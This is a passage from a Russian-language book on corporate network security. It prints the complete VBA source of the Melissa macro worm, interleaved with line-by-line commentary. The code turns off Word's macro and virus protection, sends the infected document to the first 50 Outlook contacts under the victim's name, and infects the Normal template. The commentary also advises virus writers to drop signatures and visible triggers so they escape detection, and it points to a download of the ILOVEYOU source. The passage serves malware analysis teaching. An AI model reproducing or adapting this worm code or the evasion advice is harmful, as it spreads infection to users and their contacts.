Защита от хакеров корпоративных сетей
Шрифт:
Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:
Private Sub Document OpenOn Error Resume Next
Червь Melissa инфицирует макрос Document_Open в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open. То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) <> “”
Then
CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False
System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
Options.ConfirmConversions = (1 – 1):
Options.VirusProtection = (1 – 1):
Options.SaveNormalPrompt = (1 – 1)
End IfВ
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(“Outlook.Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.
If System.PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\”,
“Melissa?”) <> “... by Kwyjibo” ThenЧервь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.
If UngaDasOutlook = “Outlook” Then
DasMapiName.Logon “profile”, “password”
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo =
AddyBook.AddressEntries.Count
Next ooЗатем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.
BreakUmOffASlice.Subject = “Important Message From ” &
Application .UserName
BreakUmOffASlice.Body = “Here is that document you asked for
... don’t show anyone else ;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.SendА вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?
Peep = “”
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software
\Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”
End IfЗавершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYAЗатем Melissa
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Close”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Open”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End IfЛегко понять, как червь Melissa влияет на функцию Document_Open активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close. Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, “Document”) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)
Then ActiveDocument.Saved = True
End IfДействие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.
‘WORD/Melissa written by Kwyjibo
‘ Works in both Word 2000 and Word 97
‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <—> Word 2000 ... it”s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo
points, plus triple-word-score, plus fifty points for
using all my letters. Game’s over. I’m outta here.”
End SubЗатем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.
Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.
К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.
Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода: